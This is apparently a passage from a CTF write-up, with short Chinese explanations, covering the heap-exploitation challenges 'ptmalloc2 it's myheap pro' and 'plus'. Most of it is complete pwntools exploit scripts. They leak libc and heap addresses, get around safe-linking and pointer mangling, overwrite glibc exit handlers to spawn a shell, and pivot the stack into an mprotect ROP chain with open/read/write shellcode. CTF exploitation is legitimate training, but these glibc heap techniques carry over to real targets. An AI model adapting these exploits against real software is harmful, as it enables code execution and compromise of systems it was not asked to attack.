libc_base = int(r(14),16) - libc.sym['puts']
system = libc_base + libc.sym['system']

create(7,0x30,b"/bin/sh\x00" + b'\x00' * 0x8 + p64(system))
# g(p)
gift()

p.interactive()

ptmalloc2 it’s myheap pro

在ptmalloc2 its myheap的基础上把gift函数移除掉了

可以通过environ去泄露栈地址,打栈迁移

或者是用exit_hook的做法,有注册函数可以通过异或拿到fs 0x28的值,然后把cxa类型dl_fini写成system的地址 再传binsh的参数

用environ的方式会简单一些

exit_hook详细的原理可以参考这篇文章 https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "xyctf.top"
PORT = 33162

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def create(idx,size,content):
    sla(">>>","1")
    sla("[?] please input chunk_idx:",str(idx))
    sla("[?] Enter chunk size: ",str(size))
    sa("[?] Enter chunk data: ",content)
    
def delete(idx):
    sla(">>>","2")
    sla(" Enter chunk id: ",str(idx))

def show(idx):
    sla(">>>","3")
    sla("[?] Enter chunk id: ",str(idx))

def exit():
    sla(">>>","4")

p = connect()

for i in range(7):
    create(i,0x80,"AAAA")

create(7,0x80,"AAAA")
create(8,0x80,"AAAA")
create(9,0x80,"AAAA")

for i in range(7):
    delete(i)

delete(7)
delete(8)

for i in range(7):
    create(i,0x80,"AAAA")

create(10,0x18,p64(0x80) + p64(1))
show(7)

libc_base = u64(r(8)) - (0x750dcd21ace0 - 0x750dcd000000)
success(f"libc_base ->{hex(libc_base)}")

for i in range(7):
    delete(i)

create(10,0x18,b"A" * 0x10)
show(10)
ru(b"A" * 0x10)
heap_base = u64(ru("W")[:-1]) - (0x56de0dc3f370 - 0x56de0dc3f000)
success(f"heap_base ->{hex(heap_base)}")

# fastbin dup
for i in range(7):
    create(i,0x68,"AAAA")

create(7,0x68,"AAAA")
create(8,0x68,"AAAA")

for i in range(7):
    delete(i)

delete(7)
delete(8)

for i in range(7):
    create(i,0x68,"AAAA")

create(10,0x18,p64(0x68) + p64(1))

for i in range(7):
    delete(i)
delete(7)

for i in range(7):
    create(i,0x68,"AAAA")

inital_offset = 0x715f4421bf00 - 0x715f44000000
inital = libc_base + inital_offset

pos = heap_base + (0x5c62ed2dcbd0 - 0x5c62ed2dc000)
target = (inital - 0x10) ^ (pos >> 12)

rol = lambda val, r_bits, max_bits: (val << r_bits%max_bits) & (2**max_bits-1) | ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
ror = lambda val, r_bits, max_bits: \
    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

manba = 0x401700

# pwndbg> x /40gx __exit_funcs
# 0x77847101bf00 <initial>: 0x0000000000000000  0x0000000000000002
# 0x77847101bf10 <initial+16>:  0x0000000000000004  0x88913e9c1a11fe48 <- dl_fini
# 0x77847101bf20 <initial+32>:  0x0000000000000000  0x0000000000000000
# 0x77847101bf30 <initial+48>:  0x0000000000000004  0x6799dc321491fe48 <- manba
# 0x77847101bf40 <initial+64>:  0x0000000000000000  0x0000000000000000
# 0x77847101bf50 <initial+80>:  0x0000000000000000  0x0000000000000000
# 0x77847101bf60 <initial+96>:  0x0000000000000000  0x0000000000000000
# 0x77847101bf70 <initial+112>: 0x0000000000000000  0x0000000000000000
# 0x77847101bf80 <initial+128>: 0x0000000000000000  0x0000000000000000

create(7,0x68,p64(target))
create(8,0x68,"AAAA")
create(7,0x68,"AAAA")
create(7,0x68,b'A' * 0x10 + p64(0) + p64(2))
show(7)

ru(b'A' * 0x10)
print(r(8))
print(r(8))
print(r(8))
print(r(8))
print(r(8))
print(r(8))
print(r(8))

encode_manba = u64(r(8))
key = ror(encode_manba,0x11,64) ^ manba

print(hex(encode_manba))
print(hex(key))
print(hex(ror(encode_manba,0x11,64) ^ key))

# fastbin dup
for i in range(7):
    create(i,0x58,"AAAA")

create(7,0x58,"AAAA")
create(8,0x58,"AAAA")

for i in range(7):
    delete(i)

delete(7)
delete(8)

for i in range(7):
    create(i,0x58,"AAAA")

create(10,0x18,p64(0x58) + p64(1))

for i in range(7):
    delete(i)

delete(7)

for i in range(7):
    create(i,0x58,"AAAA")

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

payload =  p64(0) + p64(2) + p64(4) + p64(rol(system ^ key, 0x11, 64))
payload += p64(binsh) + p64(0) + p64(4) + p64(encode_manba)

pos = heap_base + (0x64ac6b5aa0d0 - 0x64ac6b5a9000)
target = (inital - 0x10) ^ (pos >> 12)

create(7,0x58,p64(target))
create(8,0x58,"AAAA")
create(7,0x58,"AAAA")
create(7,0x58,b'A' * 0x10 + payload)

exit()

p.interactive()

ptmalloc2 it’s myheap plus

在pro的基础上加了orw

在有任意地址读写的原语后,实现orw三个函数调用,比较简单的做法是通过environ泄露栈地址,然后栈迁移到堆上打rop

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "xyctf.top"
PORT = 33161

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def create(idx,size,content):
    sla(">>>","1")
    sla("[?] please input chunk_idx:",str(idx))
    sla("[?] Enter chunk size: ",str(size))
    sa("[?] Enter chunk data: ",content)
    
def delete(idx):
    sla(">>>","2")
    sla(" Enter chunk id: ",str(idx))

def show(idx):
    sla(">>>","3")
    sla("[?] Enter chunk id: ",str(idx))

def exit():
    sla(">>>","4")

p = connect()

for i in range(7):
    create(i,0x80,"AAAA")
create(7,0x80,"AAAA")
create(8,0x80,"AAAA")
create(9,0x80,"AAAA")

for i in range(7):
    delete(i)
delete(7)
delete(8)

for i in range(7):
    create(i,0x80,"AAAA")

create(10,0x18,p64(0x80) + p64(1))
show(7)

libc_base = u64(r(8)) - (0x750dcd21ace0 - 0x750dcd000000)
success(f"libc_base ->{hex(libc_base)}")

show(10)
r(8)
r(8)
heap_base = u64(r(8)) - (0x57369a90c870 - 0x57369a90b000)
success(f"heap_base ->{hex(heap_base)}")

# fastbin dup
for i in range(7):
    create(i,0x68,"AAAA")
create(7,0x68,"AAAA")
create(8,0x68,"AAAA")
create(9,0x68,"AAAA")

for i in range(7):
    delete(i)
delete(7)
delete(8)

for i in range(7):
    create(i,0x68,"AAAA")
create(10,0x18,p64(0x68) + p64(1))

for i in range(7):
    delete(i)
delete(7)

for i in range(7):
    create(i,0x68,"AAAA")

# pwndbg> p &__environ 
# $1 = (char ***) 0x7c98a8622200 <environ>
# pwndbg> p /x 0x7c98a8622200 - 0x7c98a8400000
# $2 = 0x222200
# pwndbg> 

__environ_addr = libc_base + 0x222200

pos = heap_base + (0x5a28a79cbb30 - 0x5a28a79cb000)
target = (pos >> 12) ^ (__environ_addr - 0x10)

create(7,0x68,p64(target))
create(8,0x68,"AAAA")
create(7,0x68,"AAAA")
create(7,0x68,"A" * 0x10)

show(7)
ru("A" * 0x10)
stack_addr = u64(r(8))
success(hex(stack_addr))

# main
stack_rbp = stack_addr - (0x7ffecf5425e8 - 0x7ffecf5424c0)
stack_ret = stack_addr - (0x7ffecf5425e8 - 0x7ffecf5424c8)

success(hex(stack_rbp))
success(hex(stack_ret))

# fastbin dup
for i in range(7):
    create(i,0x58,"AAAA")
create(7,0x58,"AAAA")
create(8,0x58,"AAAA")
create(9,0x58,"AAAA")

for i in range(7):
    delete(i)
delete(7)
delete(8)

for i in range(7):
    create(i,0x58,"AAAA")
create(10,0x18,p64(0x58) + p64(1))

for i in range(7):
    delete(i)
delete(7)

for i in range(7):
    create(i,0x58,"AAAA")

ret = libc_base + 0x0000000000029139
leave_ret = libc_base + 0x000000000004da83

rdi = libc_base + 0x000000000002a3e5 # pop rdi; ret
rsi = libc_base + 0x000000000002be51 # pop rsi; ret
rdx_r12 = libc_base + 0x000000000011f2e7 # pop rdx ; pop r12 ; ret
rcx = libc_base + 0x000000000003d1ee # pop rcx ; ret
r8 = libc_base + 0x00000000001659e6 # pop r8 ; mov eax, 1 ; ret

read = libc_base + libc.sym['read']
mmap = libc_base + libc.sym['mmap']
mprotect = libc_base + libc.sym['mprotect']

block_addr = heap_base + (0x5acfdfaa5010 - 0x5acfdfaa3000) # rop_block1_addr
block_addr2 = heap_base + (0x5c22450170c0 - 0x5c2245015000) # rop_block2_addr

payload1 = p64(rdi) + p64(heap_base)
payload1 += p64(rsi) + p64(0x21000)
payload1 += p64(rdx_r12) + p64(7) + p64(0)
payload1 += p64(mprotect)
payload1 += p64(block_addr2 + 0x10)
create(11,0x80,payload1) # rop_block1

payload2 = b'flag'
payload2 = payload2.ljust(0x10,b'\x00')
payload2 += asm(f'''
mov rdi,{block_addr2}
mov rsi,0
mov rax,2
syscall

mov rdi,3
mov rsi,{block_addr2}
mov rdx,0x40
mov rax,0
syscall

mov rdi,1
mov rsi,{block_addr2}
mov rdx,0x40
mov rax,1
syscall
''')
create(12,0x80,payload2) # rop_block2

pos = heap_base + (0x644695eefeb0 - 0x644695eee000)
target = (stack_rbp) ^ (pos >> 12)

create(7,0x58,p64(target))
create(8,0x58,"AAAA")
create(7,0x58,"AAAA")
create(7,0x58,p64(block_addr - 0x8) + p64(leave_ret))

# g(p)
exit()

p.interactive()
⬆︎TOP